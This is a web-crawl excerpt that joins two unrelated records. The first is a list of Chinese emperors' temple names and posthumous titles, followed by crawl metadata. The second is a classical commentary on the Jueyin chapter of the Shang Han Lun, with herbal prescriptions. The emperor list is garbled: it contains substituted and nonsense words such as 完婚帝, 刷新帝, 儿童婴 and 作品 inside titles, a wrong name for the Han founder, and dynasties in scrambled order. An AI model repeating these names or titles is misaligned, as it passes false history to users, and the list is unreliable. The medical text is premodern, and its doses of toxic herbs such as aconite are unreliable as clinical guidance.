德孝天子\/天顺帝孛儿只斤·阿刺吉八 文宗 圣明元孝天子孛儿只斤·图帖睦尔 明宗 翼献景孝天子孛儿只斤·和世琜 宁宗 冲圣嗣孝天子孛儿只斤·懿璘质班 惠宗 宣仁普孝天子\/顺帝孛儿只斤·妥欢贴睦尔 昭宗 武承和孝天子孛儿只斤·爱猷识理答腊 明朝 太祖 开天行道肇纪立极大圣至神仁文义武俊德获胜高天子 朱元璋 朱元璋 惠宗 嗣天章道诚懿渊功观文扬武克仁笃孝让天子恭闵惠皇 帝朱允炆 成祖 启天弘道高贵肇运圣武神功纯仁至孝文天子朱棣 仁宗 敬天体道纯诚至德弘文钦武章圣达孝昭天子朱高炽 宣宗 宪天崇道贤明神圣钦文昭武宽仁纯孝章天子朱瞻基 英宗 法天立道仁明诚敬昭文宪武至德广孝睿天子朱祁镇 代宗 符天修道恭仁康定隆文布武显德崇孝景天子朱祁钰 宪宗 继天凝道诚明仁敬崇文肃武宏德圣孝纯天子朱见深 孝宗 达天明道纯诚中正圣文神武至仁大德敬天子朱祐樘 武宗 承天达道英肃睿哲昭德显功弘文思孝毅天子朱厚照 世宗 钦天履道英毅神圣宣文广武洪仁大孝肃天子朱厚熜 穆宗 契天隆道渊懿宽仁显文光武纯德弘孝庄天子朱载垕 神宗 范天合道哲肃敦简光作品武安仁止孝显天子朱翊钧 光宗 崇天契道英睿恭纯宪文景武渊仁懿孝贞天子朱常洛 熹宗 达天阐道敦孝笃友章文襄武靖穆庄勤悊天子朱由校 思宗 绍天绎道刚明恪俭揆文奋武敦仁懋孝烈天子朱由检 南明 安宗 处天承道诚敬英哲缵文备武宣仁度孝简天子朱由崧 绍宗 配天至道弘毅肃穆思文烈武敏仁广孝襄天子朱聿键 昭宗 应天推道敏毅恭俭经文纬武礼仁克孝匡天子朱由榔 清朝 太祖 承天广运圣德神功肇纪立极仁孝睿武端毅钦安弘文定 业高天子爱新觉罗·努尔哈赤(追尊) 太宗 应天兴国弘德彰武宽温仁圣睿孝顺敏昭定隆道显功文 天子爱新觉罗·皇太极 世祖 体天鸿运定统修极英睿钦文显武大德弘功至仁纯孝章 天子爱新觉罗·福临 圣祖 合天弘运文武睿哲恭俭宽裕孝顺诚信中和好事大成仁 天子爱新觉罗·玄烨 世宗 敬天昌运修中表正文武贤明宽仁信毅睿圣大孝至诚宪 天子爱新觉罗·胤禛 高宗 法天鸿运至诚先知体元立极敷文奋武钦明孝慈神圣纯 天子爱新觉罗·弘历 末代天子 仁宗 受天兴运敷化绥猷崇文经武光裕孝恭勤俭端敏英哲睿 天子爱新觉罗·颙琰 宣宗 效天符运立中体正至文圣武智勇仁慈俭勤孝敏宽定成 天子爱新觉罗·旻宁 文宗 协天翊运执中垂谟懋德振武圣孝渊恭端仁宽敏庄俭显 天子爱新觉罗·奕詝 穆宗 继天开运受中居正保大定功圣智诚孝信敏恭宽明肃毅 天子爱新觉罗·载淳 德宗 同天崇运大中至正经文纬武仁孝睿智端俭宽勤景天子 爱新觉罗·载湉 废帝(私谥:恭宗 配天同运法古绍统粹文敬孚宽睿正穆体仁 立孝愍天子)爱新觉罗·溥仪为追谥。只可称为\"汉末主\") 新朝 新鼻祖\/高天子\/修兴帝王莽 玄汉 刷新帝刘玄 赤眉汉 修世帝刘盆子 赵汉 汉嗣帝王郎 完婚 完婚帝公孙述 东汉 世祖\/光武天子刘秀 显宗\/孝明天子刘庄 肃宗\/孝章天子刘炟 穆宗\/孝和天子刘肇 孝殇天子刘隆 恭宗\/孝安天子刘祜 前少帝北乡侯刘懿 敬宗\/孝敬天子刘保 孝冲天子刘炳 孝质天子刘缵 威宗\/孝桓天子刘志 孝灵天子刘宏 后少帝\/弘农怀王刘辩 孝献(孝愍)天子刘协 三国魏 *高天子曹腾 *太天子曹嵩 *太祖武天子曹操 魏武帝曹操 高祖\/文天子曹丕(资治通鉴纪录为世祖) 烈祖\/明天子曹睿 少帝曹芳 尊贵乡公曹髦 元天子\/陈留王曹奂 三国蜀 烈祖\/昭烈天子\/先主刘备 仁宗\/孝怀天子\/后主刘禅 三国吴 *武烈天子孙坚 太祖\/大天子孙权 废天子\/会稽天孙亮 景天子孙歇 末帝\/乌程侯孙晧 西晋 *高祖\/宣天子司马懿 *世宗\/景天子司马师 *太祖\/文天子司马昭 世祖\/武天子司马炎 孝惠天子司马衷 赵王司马伦(篡位) 孝怀天子司马炽 孝愍天子司马邺 东晋 中宗\/元天子司马睿 肃宗\/明天子司马绍 显宗\/一天子司马衍 康天子司马岳 孝宗\/穆天子司马聃 哀天子司马丕 废帝\/海西公司马奕 太宗\/简文天子司马昱 烈宗\/孝武天子司马曜 安天子司马德宗 恭天子司马德文 前凉 恒王张重华 哀王张曜灵 威王张祚 冲王张玄靓 悼王张天锡 后凉 太祖\/懿武帝吕光 隐王吕绍 灵帝吕纂 末主吕隆 南凉 烈祖\/武王 秃发乌 康王 秃发利鹿孤 景王 秃发傉檀 西凉 太祖\/武昭王李暠 北凉 文王段业 太祖\/武宣王沮渠蒙逊 哀王沮渠牧犍 前赵 高祖\/光文帝刘渊 废帝刘和 烈宗\/昭武帝刘聪 隐帝刘璨 襄宗刘曜 后赵 高祖\/明帝石勒 太祖\/武帝石弘 正帝石虎 成帝石世 仁武帝石遵 兴武帝石鉴 末帝石祇 前秦 世祖\/宣昭帝苻坚 哀平帝苻丕 太宗\/高帝苻登 越厉王苻生 后秦 太祖\/武昭天子姚苌 高祖\/文桓天子姚兴 末主姚泓 西秦 高祖\/武元王乞伏乾归 太祖\/文昭王乞伏炽磐 厉武王乞伏暮末 前燕 高祖\/武宣帝慕容皝 烈祖\/景昭帝慕容隽 隐宗\/幽帝慕容暐 后燕 世祖\/成武天子慕容垂 烈宗\/惠愍天子慕容宝 开封公慕容详 赵王慕容麟 中宗\/昭武天子慕容盛 高宗\/昭文天子慕容熙 景宗\/惠懿天子慕容云 南燕 世宗\/献武帝慕容德 太祖\/穆帝慕容纳 文帝慕容超 北燕 太祖\/文一天子冯跋 昭一天子冯弘 成汉 太宗\/武帝李雄 哀帝李班 幽公李期 昭文帝李寿 归义侯李势 胡夏 赫连勃勃 南朝宋 高祖\/武天子刘裕 少帝刘义符 太祖\/文天子刘义隆 世祖\/孝武天子刘骏 前废帝刘子业 太宗\/明天子刘彧 后废帝刘昱 顺天子刘准 南朝齐 太祖\/高天子萧道成 世祖\/武天子萧赜 废帝\/郁林王萧昭业 废帝\/海陵王萧昭文 高宗\/明天子萧鸾 炀天子东昏侯萧宝卷 和天子萧宝融 南朝梁 高祖\/武天子萧衍 临贺王萧正德 太宗\/简文天子萧纲 豫章王萧栋 武陵王萧纪 世祖\/孝元天子萧绎 闵天子\/贞阳侯萧渊明 敬天子萧方智 废帝萧庄 南朝陈 高祖\/武天子陈霸先 世祖\/文天子陈蒨 废帝陈伯宗 高宗\/孝宣天子陈顼 炀天子\/后主陈叔宝 北朝北魏 太祖\/道武天子拓跋珪 太宗\/明元天子拓跋嗣 世祖\/太武天子拓跋焘 南安隐王拓跋余 高宗\/文一天子拓跋濬 显祖\/献文天子拓跋弘 高祖\/孝文天子 北魏孝文天子元宏 元宏(原名拓跋宏) 世宗\/宣武天子元恪 肃宗\/孝明天子元诩 殇天子元幼姐(元诩之女) 幼主元钊 敬宗\/孝庄天子元子攸 废帝\/长广王元晔 烈宗\/节闵天子元恭 平静王元朗 显宗\/孝武天子\/出天子元修 北朝东魏 孝静天子元善见 北朝西魏 文天子元宝炬 废帝元钦 恭天子元廓(拓跋廓) 北朝齐 *高祖\/神武天子高欢 *世宗\/文襄天子高澄 显祖\/文宣天子高洋 废帝高殷 孝昭天子高演 世祖\/武一天子高湛 后主高纬 安德王高延宗 幼主高恒 北朝周 *太祖\/文天子宇文泰 孝闵天子宇文觉 世宗\/明天子宇文毓 高祖\/武天子宇文邕 宣天子宇文赟 静天子宇文阐 隋朝 高祖\/文天子 杨坚 杨坚 世祖\/明天子\/炀天子杨广 恭天子杨侑 皇泰帝杨侗 秦王杨浩 隋王杨政道 唐朝 高祖\/神尧大圣大光孝天子李渊 唐朝个人天子(9 张) 太宗\/文武大圣大广孝天子李世民 高宗\/天皇大圣大弘孝天子李治 则天顺圣皇后\/则天大圣天子武曌(武则天) 中宗\/大和大圣大昭孝天子李显 殇天子李重茂 睿宗\/玄真大圣大兴孝天子李旦 玄宗\/至道大圣大明孝天子李隆基 肃宗\/文雅武德大圣大宣孝天子李亨 代宗\/睿文孝武天子李豫 德宗\/神武圣文天子李适 顺宗\/至德弘道大圣大安孝天子李诵 宪宗\/昭作品武大圣至神孝天子李纯 穆宗\/睿圣文惠孝天子李恒 敬宗\/睿武昭湣孝天子李湛 文宗\/元圣昭献孝天子李昂 武宗\/至道昭肃孝天子李炎 宣宗\/圣武献文孝天子(一称元圣至明成武献文睿智章仁神聪 懿道大孝天子)李忱 懿宗\/昭圣恭惠孝天子李漼 僖宗\/惠圣恭定孝天子李儇 昭宗\/圣穆景文孝天子李晔 景宗\/昭宣光烈孝天子\/哀帝李柷[zhù] 五代后梁 太祖 神武元圣孝天子朱温(朱全忠、朱晃) 废帝\/郢王朱友圭 末帝朱友贞(朱友锽、朱友瑱、朱瑱) 五代后唐 *太祖 武天子李克用 庄宗 光圣神闵孝天子李存勖 明宗 圣德和武钦孝天子李亶(李嗣源) 闵天子李从厚 末帝李从珂 五代后晋 高祖 圣作品武明德孝天子石敬瑭 出天子\/少帝石重贵 五代后汉 高祖 睿文圣武昭肃孝天子刘暠(刘知远) 隐天子刘承佑 五代后周 太祖 圣神恭肃文武孝天子郭威 世宗 睿武孝文天子 柴荣 柴荣 恭天子柴宗训 十国前蜀 高祖 神武圣文孝明德惠天子王修 后主王衍 辽朝 太祖 大圣大明神烈天天子耶律亿(耶律阿保机) 太宗 孝武惠文天子耶律德光 世宗 孝和庄宪天子耶律阮 穆宗 孝安敬正天子耶律璟 景宗 孝成康靖天子耶律贤 圣宗 文武大孝宣天子耶律隆绪 兴宗 神圣孝章天子耶律宗真 道宗 仁圣大孝文天子耶律洪基 恭宗 恭怀天子\/天祚帝耶律延禧 北辽 宣宗 孝康天子耶律淳 德妃耶律定(萧普贤女为皇太后,天下史上首位天子——秦始皇 秦朝 秦始天子嬴政 二世天子嬴胡亥 三世天子嬴子婴 西汉 太祖\/高天子(世称汉高祖)刘国 孝惠天子刘盈 前少帝刘恭 后少帝刘弘 太宗\/孝文天子刘恒 孝景天子刘启 世宗\/孝武天子刘彻 孝昭天子刘弗陵 汉废帝\/昌邑王刘贺 中宗\/孝宣天子刘询 高宗\/孝元天子刘奭 统宗\/孝一天子刘骜 孝哀天子刘欣 元宗\/孝平天子刘衎 儿童婴刘婴(王莽摄政。","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.kwikstack.com\/gddw\/509.html","date":"2019-03-24T02:23:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203168.70\/warc\/CC-MAIN-20190324022143-20190324044143-00128.warc.gz","language":"lzh","language_score":0.7495737672,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7495737671852112, \"cmn_Hani_score\": 0.11480661481618881, \"wuu_Hani_score\": 0.059725966304540634, \"nan_Hani_score\": 0.05908770114183426, \"jpn_Jpan_score\": 0.010170639492571354}","num_words":583,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.756,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"卷八 厥陰篇\n辨列厥陰條例大意\n厥陰爲陰之盡 爲臟之極. 陰極而盡 則必復反而之陽 故厥陰之生死 在厥熱之進退也. 本篇於厥陰脈證之下 先辨厥熱進退 所以明生死之機. 次論生死微甚 所以明陰陽之故也 而厥陰有熱 慮其傷陰 必以法淸之. 厥陰有寒 慮其傷陽 必以法溫之. 一如少陰之例也. 蓋厥陰少陰 同爲陰臟 而俱屬陽火 故於二者群分類聚 欲學人明辨而深思之耳. 其次爲厥陰汗下諸禁 蓋欲蒙其利 不可不知其害也. 其次爲厥陰簡誤 以厥陰篇中 雜入太陰少陰太陽之文 傳誤已久 習焉不察 特檢出之. 其次爲瘥後勞復等法 則去疾者莫若盡之意也. 凡六十二條 爲一卷.\n厥陰諸法\n厥陰病 脈證 五條\nl 厥陰之爲病 消渴 氣上衝心 心中疼熱 饑而不欲食 食則吐蛔 下之利不止.\n傷寒之病 邪愈深者 其熱愈甚. 厥陰爲陰之盡 而風木之氣 又足以生陽火而鑠陰津. 津虛火實 臟燥無液 求救於水 則爲消渴. 消渴者 水入不足以制熱 而反爲熱所消也. 氣上衝心 心中疼熱者火生於木 肝氣通心也. 饑而不欲食者 木喜攻土 胃虛求食 而邪熱復不能消穀也. 食入即吐蛔者蛔無食而動 聞食臭而出也. 下之利不止者 胃家重傷而邪熱下注也. 此厥陰在臟之的證 病從陽經傳入者也.\nl 傷寒 四五日 腹中痛 若轉氣下趨少腹者 此欲自利也.\n傷寒 四五日 正邪氣傳裏之時 若腹中痛而滿者 熱聚而實 將成可下之證. 茲腹中痛而不滿 但時時轉氣 下趨少腹者 熱不得聚而從下注 將成下利之候也. 而下利有陰陽之分 先發熱而後下利者傳經之熱邪內陷 此爲熱利 必有內煩脈數等證. 不發熱而下利者 直中之陰邪下注 此爲寒利 必有厥冷脈微等證. 要在審問明白也.\nl 下利 寸脈反浮數 尺中自澁者 必圊膿血.\n此陽邪入裏而作下利之證. 寸浮數者 陽邪强也. 尺中澁者 陰氣弱也. 以强陽而加弱陰 必圊膿血.\nl 下利 脈沈而遲 其人面少赤 身有微熱 下利淸穀者 必鬱冒汗出而解. 病患必微厥所以然者 其面戴陽 下虛故也.\n下利淸穀 脈沈而遲 陰在裏在下也. 面少赤 身有微熱 陽在上在外也. 夫陰內陽外而爲病者 必得陽入陰出而後解 而面雖赤而未甚 身雖熱而亦微 則其陽之發露者 僅十之三 而潛藏者 尙十之七也. 藏而能動 必當與陰相爭 爭而未勝則鬱冒 爭而旣勝則汗出. 汗出而內伏之陰從外出 外出之陽從內入 而病乃解矣. 然此證下虛無氣 中土不守 惟藉君主之靈 以收散亡之氣 而驅沈伏之陰. 鬱冒汗出 則心君震怒之候. 譬之澶淵之役 苟非眞宗銳意親征 則契丹大擧之寇 必不能却 然而安危反掌 中外震驚 病人所以必微厥也. 設非下虛之故 何至危殆若是. 然或眞陽畢露 則必不能與邪爭. 不爭亦必無幸矣.\nl 病者 手足厥冷 不結胸 少腹滿 按之痛者 此冷結在膀胱關元也.\n手足厥冷 原有陰陽虛實之別. 若其人結胸 則邪結於上而陽不得通. 如後所云 病人手足厥冷 脈乍緊 邪結在胸中 當須吐之 以通其陽者也. 若不結胸 但少腹滿 按之痛者 則是陰冷內結 元陽不振. 病在膀胱關元之間 必以甘辛溫藥 如四逆白通之屬 以救陽氣而驅陰邪也.\n厥陰進退之機 九條\nl 傷寒 一二日至四五日而厥者 必發熱 前熱者 後必厥. 厥深者 熱亦深 厥微者 熱亦微. 厥應下之 而反發汗者 必口傷爛赤.\n傷寒一二日至四五日 正陰陽邪正交爭互勝之時. 或陰受病而厥者 勢必轉而爲熱 陰勝而陽爭之也. 或陽受病而熱者 甚則亦變而爲厥 陽勝而陰被格也. 夫陽勝而陰格者 其厥非眞寒也 陽陷於中 而陰見於外也. 是以熱深者厥亦深 熱微者厥亦微 隨熱之淺深 而爲厥之微甚也. 夫病在陽者宜汗 病在裏者宜下. 厥者 熱深在裏 法當下之 而反發汗 則必口傷爛赤. 蓋以蘊隆之熱 而被升浮之氣 不從下出而從上逆故耳.\nl 傷寒病 厥五日 熱亦五日. 設六日 當復厥 不厥者 自愈. 厥終不過五日 以熱五日 故知自愈.\n傷寒 厥五日 熱亦五日者 陰勝而陽復之也. 至六日 陰當復勝而厥. 設不厥 則陰退而邪解矣 故自愈. 夫厥與熱 陰陽消長之兆也. 茲初病至終 其厥不過五日 而厥已 而熱亦得五日 是其復之之數 當其勝之之數. 所謂有陽則復 無太過亦無不及 故知其病自愈也.\nl 傷寒 發熱四日 厥反三日 復熱四日.厥少熱多 其病當愈. 四日至七日熱不除者其後必便膿血.\nl 傷寒 厥四日 熱反三日 厥復五日 其病爲進. 寒多熱少 陽氣退 故爲進也.\n熱已而厥者 邪氣自表而之裏也. 乃厥未已 而熱之日 又多於厥之日 則邪復轉而之表矣 故病當愈其熱則除. 乃四日至七日而不除者 其熱必侵及營中而便膿血 所謂熱氣有餘 必發癰膿也. 厥已而熱者 陽氣復而陰邪退也. 乃熱未已而復厥 而厥又多於熱之日 則其病爲進. 所以然者 寒多熱少陽氣不振 則陰邪復勝也. 要之熱已而厥者 傳經之證 慮其陽邪遞深也. 厥已而熱者 直中之證 慮其陽氣不振也. 故傳經之厥熱 以邪氣之出入言 直中之厥熱 以陰陽之勝復言. 病證則同 而其故有不同如此. 學人能辨乎此 則庶幾矣.\nl 傷寒 先厥 後發熱而利者 必自止 見厥復利.\n傷寒先厥者 陰先受邪也 後熱者 邪從陰而出陽也. 陰受邪而利 及邪出而之陽 故利必自止. 設復厥 則邪還入而之陰 故必復利. 蓋邪氣在陽則生熱 在陰則爲厥與利 自然之道也.\nl 傷寒 始發熱六日 厥反九日而利. 凡厥利者 當不能食. 今反能食者 恐爲除中. 食以索餅 不發熱者 知胃氣尙在 必愈 恐暴熱來出而復去也. 後三日脈之 其熱續在者 期至旦日夜半愈. 所以然者 本發熱六日 厥反九日 復發熱三日 幷前六日亦爲九日 與厥相應 故期至旦日夜半愈. 後三日脈之 而脈數 其熱不罷者 此爲熱氣有餘 必發癰膿也.\n傷寒始發熱六日 厥反九日而又下利者 邪氣從陽之陰 而盛於陰也. 陰盛則當不能食 而反能食者恐爲除中 中者 胃中之陽氣也 除者 去而盡之也. 言胃氣爲邪氣所迫 盡情發露 不留餘蘊也. 不發熱 不字當作若. 謂試以索餅食之 若果胃氣無餘 必不能蒸鬱成熱. 今反熱者 知胃氣尙在 非除中之謂矣. 而又恐暴熱暫來而復去. 仍是胃陽發露之凶徵也. 後三日脈之 而其熱仍在 則其能食者乃爲胃陽復振無疑 故期至旦日夜半 其病當愈. 所以然者 本發熱六日 厥反九日 熱少厥多 其病當進. 茲復發熱三日 幷前六日 亦爲九日 適與厥日相應 故知其旦日夜半 其病當愈. 旦日 猶明日也. 然厥與熱者 陰陽勝負之機 不可偏也. 偏於厥則陰勝而礙陽矣 偏於熱則陽勝而礙陰矣. 後三日脈之 而脈反加數 熱復不止 則陽氣偏勝 必致傷及營血 而發爲癰膿也.\nl 傷寒 先厥後發熱 下利必自止 而反汗出 咽中痛者 其喉爲痺 發熱無汗 而利必自止. 若不止 必便膿血. 便膿血者 其喉不痺.\n傷寒之邪見於陽者 不必見於陰 見於下者 不必見於上. 厥已而熱 下利自止者 陰邪轉而之陽也. 設得汗出 其邪必解而咽中痛者 未盡之熱. 厥而上行也 故其喉爲痺. 發熱無汗者 邪氣鬱而在陽也 雖下利 法當自止 而反不止者 以無汗出 熱仍從裏行也 故必便膿血. 便膿血者 其喉不痺 邪在下者 則不復在上也.\nl 傷寒 熱少厥微 指頭寒 默默不欲食 煩躁 數日 小便利色白者 此熱除也. 欲得食其病爲愈. 若厥而嘔 胸脇煩滿者 其後必便血.\n熱少厥微 指頭寒 邪氣自微也. 默默不欲食 煩躁 邪欲傳裏也. 裏受邪而熱 則其小便必不利 雖利其色必不白 至數日 小便利色白 知其熱已除也. 本默默不欲食 忽欲得食 知其胃已和也. 熱除胃和 其病則愈. 而厥陰之脈 挾胃上膈布脇肋 若其邪不解 淫溢厥陰之位 則爲厥而嘔 爲胸脇煩滿也. 凡病上行極者 必下行主血 而病爲熱 血爲熱迫 注泄於下 則其後必便血也.\nl 凡厥者 陰陽氣不相順接 便爲厥. 厥者 手足逆冷是也.\n按經脈 足之三陰三陽 相接於足十趾 手之三陰三陽 相接於手十指. 故陰之與陽 常相順接者也. 若陽邪內入 陰不能與之相接 而反出於外 則厥. 陰邪外盛 陽不能與之相接 而反伏於中 亦厥. 是二者 雖有陰陽之分 其爲手足逆冷一也.\n厥陰生死微甚之辨 十五條\nl 厥陰中風 脈微浮 爲欲愈. 不浮 爲未愈.\n此厥陰經自受風邪之證. 脈微爲邪氣少 浮爲病在經 經病而邪少 故爲欲愈. 或始先脈不微浮 繼乃轉而爲浮者 爲自陰之陽之候 亦爲欲愈 所謂陰病得陽脈者生是也. 然必兼有發熱微汗等候 仲景不言者 以脈該證也. 若不浮 則邪著陰中 漫無出路 其愈正未可期 故曰不浮爲未愈.\nl 傷寒 下利日十餘行 脈反實者 死.\n傷寒 下利至日十餘行 邪旣未盡 而正已大憊矣. 其脈當微或弱 而反實者 是邪氣有餘 所謂病勝臟也 故死.\nl 下利 脈沈弦者 下重也. 脈大者 爲未止. 脈微弱數者 爲欲自止 雖發熱 不死.\n沈爲裏爲下 弦爲陰. 下利 脈沈弦者 陰邪在裏 而盛於下 故下重也. 脈大者 邪氣盛. 經曰 大則病進 故爲未止. 脈微弱 爲邪氣微 數爲陽氣復. 陰寒下利 陽復而邪微 則爲欲愈之候. 雖復發熱亦是陽氣內充所致 不得比於下利發熱者死之例也.\nl 下利 有微熱而渴 脈弱者 令自愈.\nl 下利 脈數 有微熱汗出 令自愈. 設復緊 爲未解.\n此二條亦爲陰邪下注者設. 微熱而渴 與脈數有微熱汗出 幷陽氣內充之象 而脈弱又陰氣衰退之徵故令自愈. 夫脈弱者 脈緊去而轉弱也. 設復緊 則陰邪仍盛 其病豈能遽已耶.\nl 下利 脈數而渴者 令自愈. 設不瘥 必圊膿血 以有熱故也.\n此亦陰邪下利而陽氣已復之證. 脈數而渴 與下利有微熱而渴同意. 然脈不弱而數 則陽之復者已過 陰寒雖解熱氣旋增 將更傷陰而圊膿血也.\nl 發熱而厥 七日 下利者 爲難治.\n發熱而厥者 身發熱而手足厥 病屬陽而裏適虛也. 至七日 正漸復而邪欲退 則當厥先已而熱後除乃厥熱如故 而反加下利 是正不復而裏益虛矣. 夫病非陰寒 則不可以辛甘溫其裏 而內虛不足 復不可以苦寒堅其下 此其所以爲難治也.\nl 傷寒 發熱 下利厥逆 躁不得臥者 死.\n傷寒發熱 下利厥逆者 邪氣從外之內 而盛於內也. 至躁不得臥 則陽氣有立亡之象 故死. 此傳經之邪 陰氣先竭 而陽氣後絶者也.\nl 傷寒 發熱 下利至甚 厥不止者 死.\n發熱 下利 厥逆 證與上同 而下利至甚 則陰欲亡 厥逆不止 則陽亦傷 雖不躁猶死也. 此亦傳經之邪 陰先竭而陽後絶者也.\nl 傷寒 六七日 不利 便發熱而利 其人汗出不止者 死. 有陰無陽故也.\n寒傷於陰 至六七日發熱者 陽復而陰解 雖下利猶當自止. 所謂傷寒先厥後發熱而利者 必自止也. 乃傷寒 六七日 本不下利 而忽熱與利俱見 此非陽復而熱也 陰內盛而陽外亡也. 若其人汗出不止則不特不能內守 亦幷無爲外護矣 是謂有陰無陽 其死必矣.\nl 下利 手足厥冷 無脈者 灸之不溫. 若脈不還 反微喘者 死.\n陰寒下利 而至厥冷無脈 陽氣將竭而死矣. 灸之所以通旣絶之陽 乃厥不回. 脈不還而反微喘 殘陽上奔 大氣下脫 故死.\nl 下利後 脈絶 手足厥冷 晬時 脈還 手足溫者 生 脈不還者 死.\n晬時 周時也. 下利後脈絶 手足厥冷者 陰先竭而陽後絶也. 是當俟其晬時 經氣一周 其脈當還其手足當溫. 若脈不還 其手足亦必不溫而死矣.\nl 傷寒 六七日 脈微 手足厥冷 煩躁 灸厥陰 厥不還者 死.\n傷寒 六七日 陽氣當復 陰邪當解之時 乃脈不浮而微 手足不煩而厥冷. 是陰氣反進 而陽氣反退也. 煩躁者 陽與陰爭 而陽不能勝之也. 灸厥陰 所以散陰邪而復陽氣 陽復則厥自還. 設不還 則陽有絶而死耳. 是故傳經之邪至厥陰者 陰氣不絶則不死 直中之邪入厥陰者 陽氣不復則不生也.\nl 傷寒 脈遲 六七日 而反與黃芩湯徹其熱. 脈遲爲寒 今與黃芩湯 復除其熱 腹中應冷 當不能食. 今反能食 此名除中 必死.\n脈數爲熱 脈遲爲寒 診家之大要也. 熱者淸之 寒者溫之 醫家之大法也. 乃傷寒脈遲 至六七日而不變 其爲寒無疑矣. 而反與黃芩湯 復除其熱 是以寒益寒也. 於是陽氣消亡 陰寒獨勝 法當腹中冷而不能食 今反能食者 非胃氣盛也. 胃中之陽 發露無餘 譬之貧兒夸富 整諸所有而暴之於外雖炫耀目前 然其盡可立而待也 故直斷之曰 此名除中 必死.\nl 厥陰病 欲解時 從寅至卯上.\n厥陰屬風木之臟 寅卯爲木王之時. 臟氣勝而邪氣解 亦如三陽及太少二陰之例也.\n厥陰淸法 五條\nl 厥陰病 渴欲飮水者 少少與之 愈.\n厥陰之病 本自消渴 雖得水未必即愈 此云渴欲飮水 少少與之愈者 必厥陰熱邪還返陽明之候也. 熱還陽明 津液暴竭 求救於水 少少與之 胃氣則和 其病乃愈. 若系厥陰 則熱足以消水 而水豈能消其熱哉.\nl 下利欲飮水者 以有熱故也 白頭翁湯主之.\n傷寒 自利不渴者 爲臟有寒 太陰自受寒邪也. 下利欲飮水者 以裏有熱 傳經之邪 厥陰受之也. 白頭翁湯除熱堅下 中有秦皮 色青味苦 氣涼性澁 能入厥陰 淸熱去濕而止利也.\nl 白頭翁湯方\nl 白頭翁 2兩 黃連 黃柏 秦皮 各3兩.\nl 上四味 以水七升 煮取二升 去滓 溫服一升. 不愈更服一升. 熱利下重者 白頭翁湯主之.\n傷寒 熱邪入裏 因而作利者 謂熱利. 下重 即後重. 熱邪下注 雖利而不得出也. 白頭翁苦辛除邪氣 黃連․黃柏․秦皮 苦以堅之 寒以淸之 澁以收之也.\nl 下利後 更煩 按之心下濡者 爲虛煩也 宜梔子豉湯.\n下利後更煩者 熱邪不從下減而復上動也. 按之心下濡 則中無阻滯可知 故曰虛煩. 香豉․梔子 能徹熱而除煩. 得吐則熱從上出而愈 因其高而越之之意也.\nl 傷寒 六七日 大下後 寸脈沈而遲 手足厥逆 下部脈不至 咽喉不利 吐膿血 泄利不止者 爲難治. 麻黃升麻湯主之.\n傷寒 六七日 寒已變熱而未實也 乃大下之 陰氣遂虛 陽氣乃陷. 陽氣陷 故寸脈沈而遲 陰氣虛故下部脈不至. 陰陽幷傷 不相順接 則手足厥逆 而陽邪之內入者 方上淫而下溢 爲咽喉不利 爲吐膿血 爲泄利不止. 是陰陽上下幷受其病 而虛實冷熱 亦復混淆不淸矣. 是以欲治其陰 必傷其陽 欲補其虛 必礙其實 故曰此爲難治. 麻黃升麻湯合補瀉寒熱爲劑 使相助而不相悖 庶幾各行其事 而幷呈其效. 方用麻黃․升麻 所以引陽氣發陽邪也 而得當歸․知母․萎蕤․天冬之潤 則肺氣已滋而不蒙其發越之害矣. 桂枝․乾薑 所以通脈止厥也 而得黃芩․石膏之寒 則中氣已和 而不被其燥熱之烈矣. 其芍藥․甘草․茯苓․白朮則不特止其泄利 抑以安中益氣 以爲通上下和陰陽之用耳.\nl 麻黃升麻湯方\nl 麻黃去節 2兩半 當歸 升麻 各1兩1分 知母 黃芩 萎蕤 各18銖 石膏綿裹碎 白朮 乾薑 白芍 天冬去心 桂枝 茯苓 甘草炙 各6銖.\nl 上十四味 以水一斗 先煮麻黃一二沸 去上沫 納諸藥 煮取三升 去滓 分溫三服.\nl 相去如炊三斗米飯頃 令盡汗出愈.\n厥陰溫法 十條\nl 傷寒 脈微而厥 至七八日 膚冷 其人躁無暫安時者 此爲臟厥 非蛔厥也. 蛔厥者其人當吐蛔. 今病者 靜而復時煩 此爲臟寒 蛔上入膈 故煩. 須臾復止 得食而嘔又煩者 蛔聞食臭出 其人當自吐蛔. 蛔厥者 烏梅丸主之 又主久痢.\n傷寒 脈微而厥 寒邪中於陰也. 至七八日 身不熱而膚冷 則其寒邪未變可知. 乃其人躁無暫安時者 此爲臟厥發躁 陽氣欲絶 非爲蛔厥也. 蛔厥者 蛔動而厥 其人亦躁 但蛔靜則躁亦自止 蛔動則時復自煩 非若臟寒之躁無有暫安時也. 然蛔之所以時動而時靜者 何也. 蛔性喜溫 臟寒則蛔不安而上膈 蛔喜得食 臟虛則蛔復上而求食 甚則嘔吐 涎液從口中出. 按古云 蛔得甘則動 得苦則安. 又曰 蛔聞酸則靜 得辛熱則止. 故以烏梅之酸 連․柏之苦 薑․辛․歸․附․椒․桂之辛 以安蛔溫臟而止其厥逆. 加人蔘者 以蛔動中虛 故以之安中而止吐 且以御冷熱諸藥之悍耳.\nl 烏梅丸方\nl 烏梅 300個 黃連 1斤 乾薑 10兩 細辛 附子炮 桂枝 人蔘 黃柏 各6兩 當歸 蜀椒 各4兩\nl 上十味 異搗篩 合治之. 以苦酒漬烏梅一宿 去核 蒸之五升米下 飯熟搗成泥 和藥令相得 內臼中 與蜜杵二千下 丸如桐子大. 先食飮服十丸 日三服 稍加至二十丸. 禁生冷滑物臭食等.\nl 乾嘔 吐涎沫 頭痛者 吳茱萸湯主之.\n乾嘔吐涎沫者 厥陰寒邪上攻陽明也. 頭痛者 厥陰之脈上出額 與督脈會於巓 寒氣隨經上入於頭故痛也. 然頭者諸陽之會 以陰邪而得干之 其陽不振甚矣 故以吳茱萸辛熱 入厥陰散寒邪爲君. 生薑辛溫 和胃止嘔吐爲臣. 人蔘․大棗甘溫 助正氣養陽氣爲佐也.\nl 手足厥寒 脈細欲絶者 當歸四逆湯主之. 若其人內有久寒者 宜當歸四逆加吳茱萸生薑湯主之.\n手足厥寒 脈微欲絶者 陽之虛也 宜四逆輩. 脈細欲絶者 血虛不能溫於四末 幷不能榮於脈中也. 夫脈爲血之府 